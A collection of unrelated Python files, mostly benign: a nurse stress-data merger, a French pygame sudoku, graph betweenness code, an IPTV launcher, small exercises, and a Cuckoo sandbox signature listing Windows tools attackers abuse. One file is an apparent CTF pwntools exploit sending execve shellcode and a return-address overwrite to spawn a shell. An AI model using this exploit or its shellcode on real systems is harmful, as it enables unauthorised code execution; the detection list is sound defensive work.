""" Creates a single data frame that has all the info from all the nurses.
Missing values in the time series have been filled by upsampling where needed. """

import pandas as pd
import os

def read_signal(signal):
    df = pd.read_csv(os.path.join(COMBINED_DATA_PATH, f"combined_{signal}.csv"), dtype={'id': str})
    return df

def merge(id):
    print(f"Processing {id}")
    df = pd.DataFrame(columns=columns)

    acc_id = acc[acc['id'] == id]  # this was already downsampled in '2.combine_data_script.py'
    eda_id = eda[eda['id'] == id].drop(['id'], axis=1)
    hr_id = hr[hr['id'] == id].drop(['id'], axis=1)
    temp_id = temp[temp['id'] == id].drop(['id'], axis=1)

    df = acc_id.merge(eda_id, on='datetime', how='outer')
    df = df.merge(temp_id, on='datetime', how='outer')
    df = df.merge(hr_id, on='datetime', how='outer')

    df.fillna(method='ffill', inplace=True)
    df.fillna(method='bfill', inplace=True)

    return df

COMBINED_DATA_PATH = "C:/Users/Akhil/Desktop/Project DSDM/Nurse/StressData/processed_data2"
SAVE_PATH = "C:/Users/Akhil/Desktop/Project DSDM/Nurse/StressData/newdata"

if COMBINED_DATA_PATH != SAVE_PATH:
    os.mkdir(SAVE_PATH)

print("Reading data ...")

acc, eda, hr, temp = None, None, None, None

signals = ['acc', 'eda', 'hr', 'temp']

acc = read_signal('acc')
eda = read_signal('eda')
hr = read_signal('hr')
temp = read_signal('temp')

# Merge data
print('Merging Data ...')
nurses = eda['id'].unique()
columns = ['X', 'Y', 'Z', 'EDA', 'HR', 'TEMP', 'id', 'datetime']

results = []
for nurse in nurses:
    results.append(merge(nurse))
new_df = pd.concat(results, ignore_index=True)

print("Saving data ...")
new_df.to_csv(os.path.join(SAVE_PATH, "merged_data.csv"), index=False)


import numpy as np
import pygame
from tile import Tile
import algorithme
from button import Button
from timer import Timer

class Board:
    def __init__(
        self,
        name: str,  # Nom de la grille
        window: pygame.Surface,  # Paramètre spécifiant la surface d'affichage
        matrix: np.ndarray,  # Matrice numpy contenant la grille de sudoku
        progress: np.ndarray,  # Matrice contenant les saisies du joueur
        notes: np.ndarray,  # Matrice contenant les notes prises par l'utilisateur
        noteMode,  # Paramètre vérifiant si le mode note est activé
        errors: int,  # Compteur d'erreurs
        solution: np.ndarray,  # Matrice contenant la solution de la grille
        elapsed_time: int = 0,  # Temps écoulé depuis le lancement du code
        play=True,  # Si la grille est faite pour jouer dessus ou alors pour regarder la solution
        font="Source Sans Pro"  # Police d'écriture
    ):
        self.active = True  # Si cet objet board est actif, il va être affiché à l'écran
        self.pause = False  # Mode pause pour arrêter le timer
        self.play = play  # Si la grille est faite pour jouer dessus ou alors pour regarder la solution
        self.name = name  # Nom de la grille
        self.init_board = np.array(matrix)  # Grille de départ
        self.size = self.init_board.shape[0]  # Taille de la grille
        self.bloc_size = int(self.size**0.5)  # Taille des sections de la grille
        self.cell_size = int(180 // self.bloc_size)  # Taille d'une case
        self.board_size = int(self.size * self.cell_size)  # Taille en pixels de la grille
        self.current_tile = None  # Case actuellement selectionnée
        self.offset = (
            int((1280 - self.board_size) / 2),
            int((720 - self.board_size) / 2),
        )  # Décalage permettant que la grille soit au milieu de l'écran
        self.error_count = errors  # Compteur d'erreurs
        self.solution = np.array(solution)  # Solution de la grille
        self.screen = window  # Surface de l'écran
        self.window = window.subsurface(
            pygame.Rect(*self.offset, self.board_size, self.board_size)
        )  # Surface d'affichage de la grille
        self.tiles = [
            [
                Tile(
                    i * self.cell_size,
                    j * self.cell_size,
                    progress[i][j],
                    self.init_board[i][j],
                    notes[i][j] if len(notes) > 0 else [],
                    self.solution[i][j] == progress[i][j],
                    self.window,
                    self.cell_size,
                    self.bloc_size,
                )
                for j in range(self.size)
            ]
            for i in range(self.size)
        ]  # Objet Tile qui contient toutes les cases de la grille
        self.history = []  # Tableau de l'historique du tableau
        self.history.append(self.tiles)
        self.noteMode = noteMode  # Paramètre vérifiant si le mode note est activé
        self.error_rect = window.subsurface(pygame.Rect(45, 150, 200, 30))  # Surface d'affichage du nombre d'erreurs
        self.back_menu = None  # Retour au menu
        self.new_game = None  # Nouvelle partie
        self.menus = None  # Tuple des menus de l'application
        self.font = font
        self.create_buttons(elapsed_time)
        self.pause_lock = False

    def is_running(self):  # Indique si une partie est en cours ou non
        return self.play and self.active and not self.pause

    def draw_board(self):  # Dessine le plateau de jeu
        for i in range(self.size):
            for j in range(self.size):
                self.tiles[i][j].draw()
                self.tiles[i][j].display()
        for i in range(1, int(self.bloc_size)):
            pygame.draw.line(
                self.window,
                (0, 0, 0),
                (i * self.cell_size * self.bloc_size, 0),
                (i * self.cell_size * self.bloc_size, self.board_size),
                3,
            )
            pygame.draw.line(
                self.window,
                (0, 0, 0),
                (0, i * self.cell_size * self.bloc_size),
                (self.board_size, i * self.cell_size * self.bloc_size),
                3,
            )

        font = pygame.font.SysFont("arial", 20)
        text = font.render(f"Erreurs : {self.error_count}/3", True, "black")
        self.error_rect.blit(
            text, text.get_rect(center=self.error_rect.get_rect().center)
        )
        pygame.mouse.set_cursor(pygame.SYSTEM_CURSOR_ARROW)
        self.note_button.process()
        self.back_button.process()
        self.back_home.process()
        self.timer_button.process()
        self.pause_button.process()
        self.big_play_button.process()

        if self.play:
            if self.error_count == 3:
                self.timer_button.stop = True
                self.popup("Vous avez fait trop d'erreurs")
                self.back_menu.process()
                self.new_game.process()

            compteur = 0
            for i in range(self.size):
                for j in range(self.size):
                    if self.tiles[i][j].value == self.solution[i][j]:
                        compteur += 1
            self.timer_button.stop = not self.is_running() or compteur == self.size * self.size
            if compteur == self.size * self.size:
                self.popup("Vous avez gagné")
                self.back_menu.process()
                self.new_game.process()

    def get_tile(self, x, y) -> Tile:  # Renvoie un objet Tile en fonction de ses coordonnées
        x -= self.offset[0]
        y -= self.offset[1]
        if 0 <= x < self.board_size and 0 <= y < self.board_size:
            return self.tiles[y // self.cell_size][x // self.cell_size]
        return None

    def select_tile(self, tile: Tile):  # Permet de sélectionner une case spécifique
        pos = tile.get_pos() if tile is not None else (-1, -1)
        for i in range(self.size):
            for j in range(self.size):
                self.tiles[i][j].selected = False
                self.tiles[i][j].background_color = "white"
                if tile is not None:
                    if (self.tiles[i][j].value != "0" or (i, j) == pos) and self.tiles[i][
                        j
                    ].value == tile.value:
                        self.tiles[i][j].background_color = "green"
                    elif (
                        i == pos[0]
                        or j == pos[1]
                        or (i // self.bloc_size, j // self.bloc_size)
                        == (pos[0] // self.bloc_size, pos[1] // self.bloc_size)
                    ):
                        self.tiles[i][j].background_color = "gray"
        if tile is not None:
            tile.selected = True
        self.current_tile = tile

    def move_tile(self, event):  # Permet de sélectionner des cases avec les flèches directionnelles
        if self.current_tile is None:
            return
        x, y = self.current_tile.get_pos()
        if event.key == pygame.K_UP and x > 0:
            x -= 1
        elif event.key == pygame.K_DOWN and x < self.size - 1:
            x += 1
        elif event.key == pygame.K_LEFT and y > 0:
            y -= 1
        elif event.key == pygame.K_RIGHT and y < self.size - 1:
            y += 1

        self.select_tile(self.tiles[x][y])

    def enter_char(self, char: str):  # Permet de saisir un caractère dans la case sélectionnée
        if self.is_running():
            if char not in algorithme.get_allowed_characters(self.size):
                return
            for i in range(self.size):
                for j in range(self.size):
                    if self.tiles[i][j].selected and self.init_board[i][j] == "0":
                        temp = [[t.clone() for t in self.tiles[i]] for i in range(len(self.tiles))]
                        self.tiles = temp
                        if self.noteMode:
                            if char != "0":
                                self.tiles[i][j].value = "0"
                                if char in self.tiles[i][j].notes:
                                    self.tiles[i][j].notes.remove(char)
                                else:
                                    self.tiles[i][j].notes.append(char)
                        elif not self.tiles[i][j].valid:
                            self.tiles[i][j].notes.clear()
                            self.tiles[i][j].value = char
                            if self.solution[i][j] == char:
                                self.tiles[i][j].valid = True
                            else:
                                self.tiles[i][j].valid = False
                                self.error_count += 1 if char != "0" else 0
                            self.select_tile(self.tiles[i][j])
                        else:
                            return
                        self.history.append(temp)
                        return

    def save(self):  # Permet de sauvegarder la partie en cours
        with open(f"./grids/{self.name}.sudoku", "w") as f:
            f.writelines(
                [",".join([e for e in line]) + "\n" for line in self.init_board]
            )
            f.write(f"PROGRESS:{self.error_count}\n")
            f.writelines(
                [",".join([tile.value for tile in line]) + "\n" for line in self.history[-1]]
            )
            f.write(f"NOTES:{self.noteMode}\n")
            f.writelines(
                [
                    ",".join(["|".join([note for note in tile.notes]) for tile in line])
                    + "\n"
                    for line in self.tiles
                ]
            )
            f.write(f"TIMER:{self.timer_button.elapsed_time}\n")

    def create_buttons(self, elapsed_time):  # Permet de créer les boutons sur le plateau de jeu
        def note_btn_f():
            if self.play:
                self.noteMode = not self.noteMode
                self.note_button.image = pygame.image.load("./resources/note-button-" + ("on" if self.noteMode else "off") + ".png")

        self.note_button: Button = Button(
            1070,
            90,
            self.screen,
            70,
            70,
            fontColor="#147DE6",
            fontSize=20,
            buttonText="Note",
            onclickFunction=note_btn_f,
            image="./resources/note-button-" + ("on" if self.noteMode else "off") + ".png",
            fillColors={
                "normal": "#ffffff",
                "hover": "#ffffff",
                "pressed": "#ffffff",
            },
            textOffset=(-10, 50)
        )

        def back_board_f():
            if self.play and len(self.history) > 1:
                self.history.pop(-1)
                self.tiles = self.history[-1]

        self.back_button: Button = Button(
            1170,
            90,
            self.screen,
            70,
            70,
            fontColor="#147DE6",
            fontSize=20,
            buttonText="Retour",
            onclickFunction=back_board_f,
            image="./resources/back.png",
            fillColors={
                "normal": "#ffffff",
                "hover": "#ffffff",
                "pressed": "#ffffff",
            },
            textOffset=(0, 51)
        )

        def back_menu_f():
            self.save()
            self.active = False

        self.back_home: Button = Button(
            1050,
            30,
            self.screen,
            200,
            30,
            "#147DE6",
            buttonText="Retour au menu principal",
            fontSize=20,
            onclickFunction=back_menu_f,
        )

        self.timer_button: Timer = Timer(
            100,
            50,
            self.screen,
            100,
            50,
            "black",
            buttonText="",
            fontSize=30,
            start_time=pygame.time.get_ticks(),
            elapsed_time=elapsed_time,
            stop=not self.is_running()
        )

        def pause_f():
            if self.play:
                if self.pause:
                    self.pause_lock = True
                self.pause = not self.pause
                self.pause_button.image = pygame.image.load("./resources/" + ("play" if self.pause else "pause") + "-button.png")
                self.big_play_button.visible = self.pause
                self.select_tile(None)

        self.pause_button: Button = Button(
            130,
            100,
            self.screen,
            32,
            32,
            "black",
            buttonText=None,
            image="./resources/pause-button.png",
            onclickFunction=pause_f
        )

        self.big_play_button: Button = Button(
            self.offset[0] + self.board_size // 2 - 64,
            self.offset[1] + self.board_size // 2 - 64,
            self.screen,
            128,
            128,
            "black",
            buttonText=None,
            image="./resources/play.png",
            fillColors={
                "normal": None,
                "hover": None,
                "pressed": None
            },
            onclickFunction=pause_f,
            visible=False
        )

    def popup(self, message):  # Affiche des messages contextuels
        self.pause = True

        gray_surface = pygame.Surface(
            (self.screen.get_width(), self.screen.get_height())
        )
        gray_surface.set_alpha(200)
        gray_surface.fill((0, 0, 0))
        self.screen.blit(gray_surface, (0, 0))

        message_rect = pygame.Rect(
            self.screen.get_width() // 2 - 200,
            self.screen.get_height() // 2 - 100,
            400,
            200,
        )
        pygame.draw.rect(self.screen, (250, 250, 250), message_rect, border_radius=20)

        font = pygame.font.SysFont("arial", 30)
        font2 = pygame.font.SysFont("arial", 20)
        text = font.render("Partie terminée", True, (0, 0, 0))
        text2 = font2.render(message, True, (186, 186, 186))

        text_rect = text.get_rect(center=message_rect.center)
        text_rect = text_rect.move(0, -35)
        self.screen.blit(text, text_rect)
        text_rect = text.get_rect(center=message_rect.center)
        text_rect = text_rect.move(-10, 5)
        self.screen.blit(text2, text_rect)

        def back_menu_f():
            self.save()
            self.active = False

        self.back_menu: Button = (
            self.back_menu
            if self.back_menu is not None
            else Button(
                message_rect.left + 45,
                message_rect.bottom - 80,
                self.screen,
                155,
                40,
                "white",
                buttonText="Retour à l'accueil",
                fontSize=20,
                onclickFunction=back_menu_f,
                fillColors={
                    "normal": "#0048f9",
                    "hover": "#666666",
                    "pressed": "#0093f9",
                },
                borderRadius=10,
            )
        )

        def generate_menu_f():
            self.save()
            self.active = False
            self.menus[0]._open(self.menus[2])

        self.new_game: Button = (
            self.new_game
            if self.new_game is not None
            else Button(
                message_rect.right - 195,
                message_rect.bottom - 80,
                self.screen,
                145,
                40,
                "black",
                buttonText="Nouvelle partie",
                fontSize=20,
                onclickFunction=generate_menu_f,
                fillColors={
                    "normal": "#ffffff",
                    "hover": "#dadada",
                    "pressed": "#ffffff",
                },
                borderRadius=10,
            )
        )


class Solution:
    def maxSubArrayLen(self, nums: List[int], k: int) -> int:
        sum_to_index_mapping = {}   # key: cumulative sum till index i, value: i
        curr_sum = max_len = 0  # set initial values for cumulative sum and max length sum to k
        for i in range(len(nums)):
            curr_sum += nums[i] # update cumulative nums

            # two cases where we can update max_len
            if curr_sum == k:
                max_len = max(max_len, i+1) # case 1: cumulative sum is k, update max_len for sure
            elif curr_sum - k in sum_to_index_mapping:
                max_len = max(max_len, i - sum_to_index_mapping[curr_sum - k])  # case 2: cumulative sum is different from k, but we can truncate a prefix of the array

            # store cumulative sum in dictionary, only if it is not seen
            # because only the earlier (thus shorter) subarray is valuable, when we want to get the max_len after truncation
            if curr_sum not in sum_to_index_mapping:
                sum_to_index_mapping[curr_sum] = i

        return max_len


from __future__ import division
'''

Created on Jan 5, 2013

@author: RAN
'''
from copy import deepcopy
"""A basic module for measuring betweenness in the graph."""

from graph import Graph
from Queue import Queue

class Betweenness():
    """
Computes the betweenness centrality of all vertices.
Implements Brandes' algortithm

@article{brandes2001faster,
  title={A faster algorithm for betweenness centrality},
  author={Brandes, U.},
  journal={Journal of Mathematical Sociology},
  volume={25},
  number={2},
  pages={163--177},
  year={2001},
  publisher={Taylor \& Francis},
  URL={http://www.inf.uni-konstanz.de/algo/publications/b-fabc-01.pdf}
}
@article{bc-variants,
    author={U. Brandes},
    title={On variants of shortest-path betweenness centrality and their generic computation},
    journal={Social Networks},
    volume={30},
    number={2},
    pages={136-145},
    year={2008},
    URL={http://www.inf.uni-konstanz.de/algo/publications/b-vspbc-08.pdf}
}

    """

    def __init__(self, G):
        self._G = G
        self._BC = {}

        for s in self._G.getVertices():
            self._BC[s] = 0

    def getBetweenness(self, v):
        """Returns the BC of v in G
           @precondition: method run() was executed.
        """
        #you can add code here if you want
        if v not in self._BC:
            raise NameError("There is no vertex like that")
        else:
            return self._BC[v]

    def run(self):
        for s in self._G.getVertices():
            stack = []
            Pred = {}
            sigma = {}
            d = {}
            Q = Queue()
            Q.put(s)
            delta = {}
            for init_s in self._G.getVertices():
                Pred[init_s] = []
                delta[init_s] = 0
                sigma[init_s] = 0
                d[init_s] = -1

            sigma[s] = 1
            d[s] = 0

            while not (Q.empty()):
                v = Q.get()
                stack.append(v)
                for w in self._G.getNeighbors(v):
                    if d[w] < 0:
                        Q.put(w)
                        d[w] = d[v] + 1
                    if d[w] == d[v] + 1 :
                        sigma[w] += sigma[v]
                        Pred[w].append(v)
            self.accumulation(delta, stack, Pred, sigma, s)

    def accumulation(self, delta, stack, Pred, sigma, s):
        for u in delta.items():
            delta[u] = 0

        while stack.__len__() > 0:
            w = stack.pop()
            for v in Pred[w]:
                delta[v] += (((sigma[v])/(sigma[w])) * (1 + delta[w]))
                if w != s:
                    self._BC[w] += delta[w]

class GroupBetweenness(Betweenness):
    #you can modify class declaration (e.g. extend Betweenness)
    """
Computes the group betweenness centrality of all vertices.

@article{bc-variants,
    author={U. Brandes},
    title={On variants of shortest-path betweenness centrality and their generic computation},
    journal={Social Networks},
    volume={30},
    number={2},
    pages={136-145},
    year={2008},
    URL={http://www.inf.uni-konstanz.de/algo/publications/b-vspbc-08.pdf}
}

@article{dana-anonimity,
author={R. Puzis and D. Yagil and Y. Elovici and D. Braha},
title={Collaborative Attack on Internet Users' Anonymity},
journal={Internet Research},
volume={19},
number={1},
pages={60--77}
year={2009},
URL={http://necsi.edu/affiliates/braha/Internet_Research_Anonimity.pdf}
}
    """

    def __init__(self, G):
        Betweenness.__init__(self, G)
        self._M = []
        self._GBC = 0
        #you can add code here if you want

    def getGroupBetweenness(self):
        """Returns the GBC of M in G
           @precondition: method run() was executed.
        """
        #you can add code here if you want
        vertx = self._G.getVertices()
        for v in self._M:
            if v not in vertx:
                raise NameError("One of the vertices isn't in your supplied Gragh")
        return self._GBC

    def run(self, M):
        self._GBC = 0
        self._M = M
        Betweenness.run(self)

    def accumulation(self, delta, stack, Pred, sigma, s):
        for u in delta.items():
            delta[u] = 0
        while stack.__len__() > 0:
            w = stack.pop()
            for v in Pred[w]:
                if w in self._M:
                    i = 0
                else:
                    i = delta[w]
                delta[v] += ((sigma[v]/sigma[w]) * (1 + i))
            M_tmp = deepcopy(self._M)
            if s in M_tmp:
                M_tmp.remove(s)
            if w in M_tmp:
                self._GBC += delta[w]

class EdgeBetweenness(Betweenness):
    #you can modify class declaration (e.g. extend Betweenness)
    """
Computes the group betweenness centrality of all vertices.

@article{bc-variants,
    author={U. Brandes},
    title={On variants of shortest-path betweenness centrality and their generic computation},
    journal={Social Networks},
    volume={30},
    number={2},
    pages={136-145},
    year={2008},
    URL={http://www.inf.uni-konstanz.de/algo/publications/b-vspbc-08.pdf}
}

    """

    def __init__(self, G):
        Betweenness.__init__(self, G)
        self._BC_Edges = {}

        for e in self._G.getEdges():
            self._BC_Edges[e] = 0

    def getBetweenness(self,u,v):
        """Returns the GBC of M in G
           @precondition: method run() was executed.
        """
        if not self._G.isEdge(u,v):
            raise NameError("There is no edge like that")
        #you can add code here if you want
        return self._BC_Edges[(u,v)]

    def run(self):
        Betweenness.run(self)

    def accumulation(self, delta, stack, Pred, sigma, s):
        for u in delta.items():
                delta[u] = 0

        while stack.__len__() > 0:
            w = stack.pop()
            for v in Pred[w]:
                c = (sigma[v]/sigma[w])*(1+delta[w])
                if (v,w) in self._BC_Edges:
                    self._BC_Edges[(v,w)] += c
                delta[v] += c
            if w != s:
                self._BC[w] += delta[w]

    def getTheBiggestBC_Edges(self):
        ans_BC_amount = 0
        ans_Edge = None

        for e in self._BC_Edges:
            if self._BC_Edges[e] > ans_BC_amount:
                ans_BC_amount = self._BC_Edges[e]
                ans_Edge = e

        return ans_Edge


#!/usr/bin/env python
from os import system as s
import json

player = "mpv"
with open("n_list.json") as l:
    ip_tv = json.load(l)
jml_channel = (len(ip_tv["tv"]))
channel = []
url = []
for i in range(0, len(ip_tv["tv"])):
    list_channel = ip_tv["tv"][i]["channel"]
    list_url = ip_tv["tv"][i]["url"]
    channel.append(list_channel)
    url.append(list_url)

try:
    while True:
        s("clear")
        print(f"""
███╗   ██╗   ████████╗██╗   ██╗
████╗  ██║   ╚══██╔══╝██║   ██║
██╔██╗ ██║█████╗██║   ██║   ██║
██║╚██╗██║╚════╝██║   ╚██╗ ██╔╝
██║ ╚████║      ██║    ╚████╔╝
╚═╝  ╚═══╝      ╚═╝     ╚═══╝  By Nestero
Streaming TV menggunakan IPTV.
	""")
        print("List Channel :")
        for i, key in enumerate(channel):
            if (i + 1) % 3:
                print(i, "=>", '{:15}'.format(key), end='\t')
            else:
                print(i, "=>", key, end='\n')
        p_tv = int(input(f"\nPilih Channel 0 - {jml_channel-1} > "))

        c_tv = url[p_tv]
        t_tv = channel[p_tv]

        if player == "mpv":
            s(f"mpv --fs --title='{t_tv}' {c_tv}")
        else:
            s(f"{player} {c_tv}")
except KeyboardInterrupt:
    print("^")


# Crea un programa que pida al usuario dos números y muestre el resultado de su división.
# Si el segundo número es 0, debe mostrar un mensaje de error.
def resultado():
    operacion = num1/num2
    return operacion

num1 = float(input("Ingrese un numero: "))
num2 = float(input("Ingrese el segundo numero: "))
if num2==0:
    print(f"No se puede dividir por cero")
else:
    print(f"El resultado de la division es {resultado()}")


from pwn import *
import time

#p=process('./square')
p=remote('127.0.0.1', 44401)
time.sleep(1)
email_offset=0x4040E0
print(p.recv())
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendline(shellcode)

print(p.recv())
p.sendline('qwer')

for i in range(3):
	print(p.recv())
	p.sendline('3')
	print(p.recv())
	p.sendline('3')

payload='A'*(0x17+8)+p64(email_offset)
time.sleep(1)
p.sendline(payload)
p.interactive()


from subprocess import Popen, PIPE, STDOUT

from quickunit.diff import DiffParser
from quickunit.vcs.base import ChangedFile

def parse_commit(parent=None):
    if parent is None:
        parent = 'master'

    proc = Popen(['git', 'merge-base', 'HEAD', parent], stdout=PIPE, stderr=STDOUT)

    parent_revision = proc.stdout.read().strip()

    # pull in our diff
    # git diff `git merge-base HEAD master`
    proc = Popen(['git', 'diff', parent_revision], stdout=PIPE, stderr=STDOUT)
    diff = proc.stdout.read().strip()

    parser = DiffParser(diff)

    files = []
    for file in parser.parse():
        if file['is_header']:
            continue

        # file was removed
        if file['new_filename'] == '/dev/null':
            continue

        filename = file['new_filename'][2:]

        is_new = (file['old_filename'] == '/dev/null')

        files.append(ChangedFile(filename, is_new))

    return files


# file: whatModules.py
# prompt for the name of a python file and
# print the names off all the modules it imports

path = input("Enter a script name: ")
try:
    f = open(path)
    modules = []
    for line in f:
        # print(line, end = "") #temp
        words = line.split()
        # print(words) #temp
        if len(words) >= 2 and (words[0] == 'import' or words[0] == 'from'):
            modules.append(words[1])
            # print("MODULE", words[1], modules)
    f.close()
    print("Modules imported:", end = "")
    for m in modules[:-1]: #take slice except for last element to get ,
        print(" ", m, ",", sep = "", end = "")
    if modules != []:
            print(" ", modules[-1], sep = "", end = '.\n')
    else:
        print(" <none>")
except:
    print("Can't read file '", path, "'.", sep ="")


# Escribí un programa que obtenga, a partir de una lista de strings
# una lista con la longitud de esas strings e imprima la longitud
# de la lista de strings y los elementos de la lista de longitudes

lista = ["uno", "dos", "tres", "cuatro", "cinco"]
lista1 = []
for i in lista:
    lista1.append(len(i))
contador = 0
for i in lista1:
    contador += i
for i in lista1:
    print(i)

print(len(lista))
print(contador)

# longitud de lista es len(lista)


import sys

def parse(input_):
    file = open("./assgn2_20171099.txt","w+")
    lines = input_.split('\n')
    linenumber = 0
    lines.sort(key=len)
    for line in lines:
        linenumber+=1
        tokennumber = 0
        tokens = line.split(' ')
        for token in tokens:
            tokennumber += 1
            file.write(str(tokennumber))
            file.write("\t") #8 spaces
            file.write(token)
            file.write("\n")
    file.close()

def main():
    filehandle = open(sys.argv[1], 'r')
    textinput = filehandle.read()
    parse(textinput)

main()


import pyrtfolio
from pyrtfolio.StockPortfolio import StockPortfolio

def test_package():
    """
    This function tests both the authorship and version of pyrtfolio.
    """

    print(pyrtfolio.__author__)
    print(pyrtfolio.__version__)

def test_stock_portfolio():
    """
    This functions tests the basic creation of a StockPortfolio with some sample Stocks.
    """

    portfolio = StockPortfolio()

    portfolio.add_stock(stock_symbol='BBVA',
                        stock_country='spain',
                        purchase_date='04/01/2018',
                        num_of_shares=2,
                        cost_per_share=7.2)

    portfolio.add_stock(stock_symbol='ELE',
                        stock_country='spain',
                        purchase_date='13/06/2019',
                        num_of_shares=15,
                        cost_per_share=23.8)

    print(portfolio.data.head())
    portfolio.refresh()
    print(portfolio.data.head())

if __name__ == '__main__':
    test_package()
    test_stock_portfolio()


import sys
import json
from typing import List
import urllib.request
import os
import glob
from rulekit.experiment import ExperimentRunner
from rulekit import RuleKit

dir_path = os.path.dirname(os.path.realpath(__file__))

def download_rulekit_jar():
    release_version = 'latest'
    current_rulekit_jars_files: List[str] = glob.glob(
        f"{dir_path}/jar/*-all.jar")
    url = f"https://api.github.com/repos/adaa-polsl/RuleKit/releases/{release_version}"
    req = urllib.request.Request(url)
    req.add_header('Content-Type', 'application/json; charset=utf-8')
    response = urllib.request.urlopen(req)
    response = json.loads(response.read())
    latest_release_version = response['tag_name']
    print('Fetching latest RuleKit release version: ', latest_release_version)
    assets = response['assets']
    asset = list(
        filter(lambda asset: asset['name'].endswith('-all.jar'), assets))
    if len(asset) != 1:
        raise Exception('Failed to fetch latest RuleKit release jar file.')
    asset = asset[0]
    download_link = asset['browser_download_url']

    if len(current_rulekit_jars_files) > 0:
        old_files_names = list(
            map(lambda path: os.path.basename(path), current_rulekit_jars_files))
        tmp = input(
            f'Old RuleKit jar file/files ({old_files_names}) detected, do you want to remove it/them? Type "yes" or "no"\n')
        if tmp == 'yes':
            for old_file_path in current_rulekit_jars_files:
                os.remove(old_file_path)
            print('Old files removed.')
        elif tmp != 'no':
            print('I will treat it as no')
    print(f'Downloading jar file: "{asset["name"]}" from: "{download_link}"')

    def show_progress(block_num, block_size, total_size):
        downloaded = int((block_num * block_size / total_size) * 100)
        print(f'\r{downloaded}%', end='\r')

    urllib.request.urlretrieve(
        download_link, f'{dir_path}/jar/{asset["name"]}', show_progress)
    print('Download finished!\nPackage is ready to use.')

def main():
    if len(sys.argv) > 1 and sys.argv[1] == 'download_jar':
        download_rulekit_jar()
    else:
        # use rulekit batch CLI
        rulekit = RuleKit()
        rulekit.init()
        ExperimentRunner.run(sys.argv[1:])

if __name__ == "__main__":
    main()


import pygame
from pygame.rect import *
from pygame.locals import *

BLACK = (0, 0, 0)
GRAY = (127, 127, 127)
WHITE = (255, 255, 255)

RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)

YELLOW = (255, 255, 0)
CYAN = (0, 255, 255)
MAGENTA = (255, 0, 255)

SIZE = 600,600
imagePath = "Capitulo_4/python.png"
running = True
moving = False
background = GRAY

width, height = SIZE
screenCenter = width//2, height//2
pygame.init()
screen = pygame.display.set_mode(SIZE)
img0 = pygame.image.load(imagePath)
# Torna a imagem mais leve para o render
img0.convert()
scale = 1
angle = 0

rect0 = img0.get_rect()
pygame.draw.rect(img0, GREEN, rect0, 2)

img = img0
rect = img.get_rect()
rect.center = screenCenter

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False

        elif event.type == KEYDOWN:
            if event.key == K_r:
                if event.mod & KMOD_SHIFT:
                    angle -= 10
                else:
                    angle += 10
                img = pygame.transform.rotozoom(img0, angle, scale)

            elif event.key == K_s:
                if event.mod & KMOD_SHIFT:
                    scale /= 1.1
                else:
                    scale *= 1.1
                img = pygame.transform.rotozoom(img0, angle, scale)

            elif event.key == K_h:
                img = pygame.transform.flip(img, True, False)

            elif event.key == K_v:
                img = pygame.transform.flip(img, False, True)

            elif event.key == K_o:
                img = img0
                scale = 1
                angle = 0

            elif event.key == K_1 or event.key == K_KP1:
                img = pygame.transform.laplacian(img)

            elif event.key == K_2 or event.key == K_KP2:
                img = pygame.transform.scale2x(img)

            rect = img.get_rect()
            rect.center = screenCenter

    screen.fill(GRAY)
    screen.blit(img, rect)
    if moving:
        pygame.draw.rect(screen, RED, rect, 4)
    else:
        pygame.draw.rect(screen, GREEN, rect, 4)

    pygame.display.update()

pygame.quit()


from lib.cuckoo.common.abstracts import Signature

utilities = [
    "at ",
    "at.exe",
    "attrib",
    "chcp",
    "del ",
    "del.exe",
    "dir ",
    "dir.exe",
    "driverquery",
    "erase ",
    "erase.exe",
    "fsutil",
    "getmac",
    "ipconfig",
    "nbtstat",
    "net ",
    "net.exe",
    "netsh",
    "netstat",
    "nslookup",
    "pathping",
    "ping ",
    "ping.exe",
    "qwinsta",
    "reg ",
    "reg.exe",
    "regsrv32",
    "route",
    "runas",
    "rwinsta",
    "sc ",
    "sc.exe",
    "schtasks",
    "shutdown",
    "sigverif",
    "systeminfo",
    "tasklist",
    "taskkill",
    "telnet",
    "whoami",
    "wmic",
    "wusa",
]

risk_utilities = [
    "bitsadmin",
    "cacls",
    "csvde",
    "dsquery",
    "icacls",
    "nltest",
    "rexec",
    "sdbinst",
    "volumeid",
    "vssadmin",
    "wevtutil",
    "whois",
    "xcacls",
]

sysinternals = [
    "accesschk",
    "accessenum",
    "adexplorer",
    "adinsight",
    "adrestore",
    "autologon",
    "autoruns",
    "bginfo",
    "bluescreen",
    "clockres",
    "contig",
    "coreinfo",
    "ctrl2cap",
    "debugview",
    "desktops",
    "disk2vhd",
    "diskext",
    "diskmon",
    "du ",
    "du.exe",
    "efsdump",
    "findlinks",
    "handle ",
    "handle.exe",
    "hex2dec",
    "junction",
    "ldmdump",
    "listdlls",
    "livekd",
    "loadorder",
    "logonsessions",
    "movefile",
    "notmyfault",
    "ntfsinfo",
    "pendmoves",
    "pipelist",
    "portmon",
    "procdump",
    "psexec",
    "psfile",
    "bginfo",
    "psgetsid",
    "psinfo",
    "pskill",
    "pslist",
    "psloggedon",
    "psloglist",
    "pspasswd",
    "psping",
    "psservice",
    "psshutdown",
    "pssuspend",
    "pstools",
    "rammap",
    "regdelnull",
    "ru ",
    "ru.exe",
    "regjump",
    "sdelete",
    "shareenum",
    "shellrunas",
    "sigcheck",
    "streams ",
    "streams.exe",
    "strings ",
    "strings.exe",
    "sync ",
    "sync.exe",
    "sysmon",
    "tcpview",
    "vmmap",
    "volumeid",
    "whois",
    "winobj",
    "zoomit",
]

class UsesWindowsUtilities(Signature):
    name = "uses_windows_utilities"
    description = "Uses Windows utilities for basic Windows functionality"
    severity = 2
    categories = ["commands", "lateral"]
    authors = ["Cuckoo Technologies"]
    minimum = "2.0"
    ttp = ["T1053"]
    references = ["http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"]

    def on_complete(self):
        for cmdline in self.get_command_lines():
            for utility in utilities:
                if utility in cmdline.lower():
                    self.mark_ioc("cmdline", cmdline)

        return self.has_marks()

class SuspiciousCommandTools(Signature):
    name = "suspicious_command_tools"
    description = "Uses suspicious command line tools or Windows utilities"
    severity = 3
    categories = ["commands", "lateral"]
    authors = ["Kevin Ross"]
    minimum = "2.0"

    def on_complete(self):
        for cmdline in self.get_command_lines():
            for utility in risk_utilities:
                if utility in cmdline.lower():
                    self.mark_ioc("cmdline", cmdline)

        return self.has_marks()

